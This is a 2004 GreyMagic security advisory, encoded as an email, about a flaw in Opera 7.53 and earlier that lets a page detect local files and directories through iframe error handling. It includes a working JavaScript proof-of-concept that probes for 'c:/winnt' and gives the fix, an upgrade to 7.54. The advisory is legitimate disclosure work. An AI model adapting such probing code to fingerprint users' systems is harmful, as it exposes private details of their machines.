Opera Local File/Directory Detection (GM#009-OP)

[GreyMagic Software]

GreyMagic Security Advisory GM#009-OP
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

By GreyMagic Software, 17 Aug 2004.

Available in HTML format at
http://www.greymagic.com/security/advisories/gm009-op/.

Topic: Opera Local File/Directory Detection.

Discovery date: 04 Aug 2004.

Affected applications:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D

Opera 7.53 and prior on Windows, Linux and Mac.=20


Introduction:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

While working on a proof-of-concept exploit for the previous Opera adviso=
ry
[1] we needed to find a way to detect the victim's system root directory,=
in
order to locate a specific resource that's required for exploitation.=20

[1] http://www.greymagic.com/security/advisories/gm008-op/


Discussion:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

After a bit of investigation, we found that we can easily determine wheth=
er
a directory (or file) exists or not.=20

When a non-existent file or directory is assigned to an iframe, an error =
is
thrown to the user and the actual location of the iframe does not change.=
=20

This situation can easily be detected by an attacker using an accessible
iframe (within the same domain). By changing its URL to the location of a
file or directory and then checking whether an error is thrown when tryin=
g
to access its DOM, the attacker can determine whether the resource exists.


Exploit:=20
=3D=3D=3D=3D=3D=3D=3D=3D

The following sample code determines whether the directory "c:/winnt"
exists:=20

<iframe src=3D"blank.html"></iframe>
<script type=3D"text/javascript">
onload=3Dfunction () {
=A0=A0=A0=A0var sLocal=3D"c:/winnt";
=A0=A0=A0=A0frames[0].location.href=3DsLocal;
=A0=A0=A0=A0setTimeout(
=A0=A0=A0=A0=A0=A0=A0=A0function () {
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0try {
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0fr ames[0].document;
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0al ert(sLocal+" does not e=
xists.");
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0} catch (oErr) {
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0al ert(sLocal+" exists.");
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0}
=A0=A0=A0=A0=A0=A0=A0=A0},
=A0=A0=A0=A0=A0=A0=A0=A0250
=A0=A0=A0=A0);
}
</script>

An attacker is likely to run this against a group of directories in order=
to
find the right one or determine whether specific programs are installed.=20


Demonstration:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Proof-of-concept demonstrations of this issue can be found in our previou=
s
Opera advisory, at http://www.greymagic.com/security/advisories/gm008-op/=
=2E=20


Solution:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Update to Opera 7.54.

One of the changes in Opera 7.54 was to completely block access to the
file:// protocol from non-local URLs. That change also happens to protect
against this vulnerability.=20


Tested on:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Opera 7.52.
Opera 7.53.


Disclaimer:=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The information in this advisory and any of its demonstrations is provide=
d
"as is" without warranty of any kind.=20

GreyMagic Software is not liable for any direct or indirect damages cause=
d
as a result of using the information or demonstrations provided in any pa=
rt
of this advisory.=20

- Copyright =A9 2004 GreyMagic Software.